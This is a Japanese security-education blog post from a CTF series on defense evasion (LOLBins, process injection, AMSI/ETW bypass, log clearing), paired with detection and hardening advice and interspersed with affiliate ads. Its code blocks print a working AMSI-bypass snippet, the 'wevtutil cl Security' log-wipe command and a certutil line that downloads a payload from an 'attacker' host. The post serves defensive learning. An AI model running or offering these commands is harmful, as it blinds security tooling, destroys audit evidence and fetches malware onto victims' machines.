PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。

【検知回避・痕跡消去編】EDR Bypass/ログ消去/LOLBinsの発想と防御|CTF思考フレームワーク #40

【検知回避・痕跡消去編】EDR Bypass/ログ消去/LOLBinsの発想と防御|CTF思考フレームワーク #40 アイキャッチ画像
安全に生きたい編集部

広告・PRを含みます。この記事にはアフィリエイトリンクが含まれます。掲載内容は編集方針に基づいて作成していますが、価格・在庫・キャンペーン内容はリンク先で最新情報を確認してください。

EDRを回避する手口って、攻撃者はどうやるの?最近のセキュリティソフトは強くない?🛡️

強いです。が、攻撃者は『LOLBins』(OS標準ツール)を使って正規通信に見せかける、メモリ実行でディスクに痕跡を残さない、ログを直接消去する――こうした手口でEDRを回避します。「正規ツール vs EDR」の終わりなき戦いです。

防御回避(Defense Evasion)は、EDR・SIEM・ログ監視を欺く技術。LOLBins(Living Off the Land Binaries)と呼ばれる正規ツール(PowerShell・WMI・MSHTA・rundll32)の悪用、メモリ常駐型マルウェア、Event Log の直接消去――これらは「目立たない侵入」の代表手口。

正規ツールを使われたら、検知って本当に難しそう…

この記事は、CTF思考フレームワーク第40回。EDRバイパス・ログ消去・LOLBins悪用などの防御回避手口と、企業の対策(PowerShell ScriptBlock Logging・Sysmon設定・LOLBAS監視)を整理します。

📖 この記事はシリーズの一部です
CTF思考フレームワーク#40 / 全86記事 → シリーズ一覧を見る →

🥷 攻撃の最終仕上げは「気づかれないこと」と「痕跡を消すこと」。EDRをBypassし、Event Logを消し、LOLBinsで正規ツールに紛れる…ここまで来ると検知側はまるでミステリ小説の探偵役です。

Defense Evasionは攻撃テクニックの中で最も多様。プロセスインジェクション、AMSI Bypass、ETW無効化、ログ削除など、検知の前提を一つずつ崩していく作業です。

難易度:★★★(上級)

EDR/ログを欺く技術。攻撃者が一番神経を使う領域です🥷

検知回避はEDR・ログ・AVに見つからないための技術。攻撃の成否を決める最後の壁だよ🥷

この記事で出てくる言葉

先に意味を押さえておくと読みやすい用語です。

  • CTF: セキュリティの練習問題を解く競技。必ず許可された環境だけで試します。
  • 権限昇格: 一般ユーザーから管理者権限など、より強い権限を得ることです。
  • コンテナ: アプリを隔離された軽い実行環境で動かす仕組みです。

👀 観察フェーズ:まず何を見る?

まず防御側を観察!どんなEDR・どこにログ・どこに転送。これが分かれば回避経路が見える🔍

まず検知の「観測点」を把握。EDR・AMSI・ETW・Event Log・PowerShell ScriptBlockLogging・Sysmonがそれぞれ何を見ているのかを地図化します。

tasklistでEDRプロセス、auditpolでログ設定、winrm転送先などを観察。「何が見られているか」を把握します👀

見られていない箇所=攻撃ルート、見られている箇所=迂回ルートを探すんだね💡

  • AMSI(PowerShell・WSH・Office VBAのスクリプト評価フック)
  • ETW(Event Tracing for Windows・カーネルイベント)
  • PowerShell ScriptBlockLogging(EID 4104)
  • Sysmon(EID 1/3/7/8/10/11/12/13/19-22)
  • Event Log: Security / System / Application
  • EDRエージェントのプロセス・ドライバ・通信先

検知回避の典型は4方向

🤔 仮説フェーズ:攻撃者は何を考える?

🪟 仮説①:LOLBins活用

OS標準バイナリ(certutil、bitsadmin、mshta、wmic)で「正規プロセスの皮を被って」悪意を実行。プロセス名で弾けない。

🧬 仮説②:Process Injection

正規プロセス(explorer.exe等)に悪意コードを注入して実行。プロセス起動を契機としたEDR検知を回避。

📜 仮説③:ログ削除/改ざん

wevtutil clでEvent Log消去、fsutil usn deletejournalでUSN消去、auditpol /clearで監査ポリシ削除。

🌫️ 仮説④:AMSI / ETW Bypass

.NETやPowerShellのスクリプトスキャン機構を無効化。メモリパッチで実装される高度技。

🕶️ 攻撃者は「検知ポイントを潰すか、迂回するか、ノイズに紛れるか」の三択を組み合わせます。AMSIはメモリパッチで黙らせ、ETWプロバイダをDisable、Event Logは wevtutil cl で消去。検知が厳しければ certutilbitsadmin といったLOLBinsに切り替えて正規プロセスを装います。

攻撃者は「正規に見せる + 痕跡を消す」の二段構えで隠れるんだね💧

🔬 検証フェーズ:どうやって確かめる?

検証は隔離ラボでEDRをわざと入れて、自分の操作がどこに記録されるかを観察すると目が育ちます🧪

検証は検知エンジンが入った検証VMで。AMSI Bypass成功時はScriptBlockLogging(4104)に「不審な文字列」だけ残り、検知ルール側のパターンを突破できているかが見えます。

AtomicRedTeamみたいな攻撃技術ライブラリでTTPを再現できるんだね💡

# 検証用:自分のラボWindows VMで
# AMSI状態確認(Bypassが効いているか)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static")

# ETWプロバイダ列挙
logman query providers

# Event Log消去はEID 1102を必ず残す(消した痕跡が残る皮肉)
wevtutil cl Security

検知回避テクの代表はこの3つ

⚔️ 攻撃フェーズ:実際の手口

① certutil / bitsadminによるダウンロード

OS標準バイナリで外部から悪意ファイル取得。プロセス名はOS純正なのでAVで弾きにくい。

② プロセスインジェクション

CreateRemoteThreadやAPC Injection・Hollowingなどで正規プロセスに化けて活動。

③ ログ削除&AMSIバイパス

wevtutil cl Securityでセキュリティログを消し、AMSIにメモリパッチを当ててPowerShellスキャンを無効化

代表的な手口:①AMSIメモリパッチでスクリプト検知を無効化、②プロセスホロウィングで正規プロセスに化ける、③LOLBins(certutil / mshta / regsvr32)で外部ペイロード取得、④Event Logクリア。

# AMSIメモリパッチ(概念)
$a = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils")
$f = $a.GetField("amsiInitFailed","NonPublic,Static")
$f.SetValue($null,$true)

# LOLBin: certutilでダウンロード(Defenderが弱い経路)
certutil -urlcache -split -f http://attacker/payload.exe payload.exe

# プロセスインジェクション(CreateRemoteThread / NtMapViewOfSection等)

近年はAMSI/ETW Bypass検知(パッチパターン監視)も普及してきており、攻撃側もアンマネージドコード化や独自ロード機構へシフト中📈

検知回避を「させない」3レイヤー!🛡️

🛡️ 防御フェーズ:どう守る?

📜 ログ集約・転送(Tamper-resistant)

端末ローカルでなくSIEMにリアルタイム転送。攻撃者が消す前に外部に保管。Sysmon+WEC構成が王道。

🚫 LOLBins実行制限

AppLocker / WDACで不要なOSバイナリ(mshta, wscript等)の実行を制限。マクロ・スクリプトはブロックポリシで。

🧠 振る舞い検知+人手調査

EDR(振る舞い検知)+SOCアナリストで「正規プロセスの異常な動き」を捕まえる。シグネチャだけでは不可能。

「ログをローカルに残さない」が検知回避対策の起点。攻撃者に消させない設計を💪

守備側は「観測点を増やす」「重要ログは別ストレージに即時転送」「LOLBins使用を異常検知」の三方向。EDRに加えてSysmon+ログ転送のホスト側多層化が効きます。

  • PowerShell Constrained Language Modeで危険APIを制限
  • ScriptBlockLogging(EID 4104)を常時有効化
  • Sysmon EID 7(Image Load)でAMSI関連DLLの異常ロード検知
  • Event Log Forwarderで監査ログを即時別サーバへ複製
  • AppLocker / WDACで実行可能ファイルを許可リスト管理
  • LOLBin使用パターンをSigmaルールで包括検知(certutil / bitsadmin等)

🧪 検証用のLinuxラボを用意

権限昇格やエクスプロイトの練習は、許可を得た自分の検証環境で行うのがルール。💻 ConoHa VPSならUbuntuやCentOSをワンクリックで立てて、スナップショットも取れるので安心して試せます。

PR / 広告

ConoHa VPS

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

  1. EDRさえ入れていれば大丈夫と思い、ログ転送や監査有効化を怠る
  2. AMSI Bypassが流行しても、PowerShell v2を残したままにしてダウングレード攻撃を受ける
  3. Event Logは消されると終わり、と諦めて転送を準備しない
  4. LOLBinsを「OS標準だから安全」と判断、ベースライン外利用を見逃す
  5. 検知ルールの感度を上げすぎて疲弊し、結局アラートをミュートする
  6. 攻撃者がEDRを無効化する手口(ドライバ悪用 = BYOVD)への備えがない

🧰 ツール早見表

ツール / 機能攻撃 or 防御備考
Invoke-Obfuscation攻:難読化フレームワーク4104ログのパターン崩し
SharpHound (.NET)攻:AD偵察記憶ファイル化を避けた直接実行
Sysmon + Sigma防:行動検知EID 7/10/11/13/19-22が要
WEC + WEF防:イベント転送消されても集約サーバに残る
MDE / EDR防:振る舞い検知BYOVD対策ドライバブロックリストも

🎓 本気で学びたい人へ

Linuxとサーバ・セキュリティを仕事レベルで学びたい方へ。🎓 ササエルはインフラエンジニア向けスクールで、システム設計から防御設計まで広くカバーしています。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

体系的に学ぶなら『ホワイトハッカー入門』、手を動かして覚えるなら『TryHackMeを使って身体で覚える攻撃手法と脆弱性』が定番。両方持っておくと、知識と実践の両輪で伸びます📚

📚 次に読みたい

✍️ 学んだことを発信する

学んだことをブログにまとめるなら、高速で安価なConoHa WINGが使いやすいです。

PR / 広告

ConoHa WING

⚖️ 大事なお約束

必ず守ってね

この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝

記事URLをコピーしました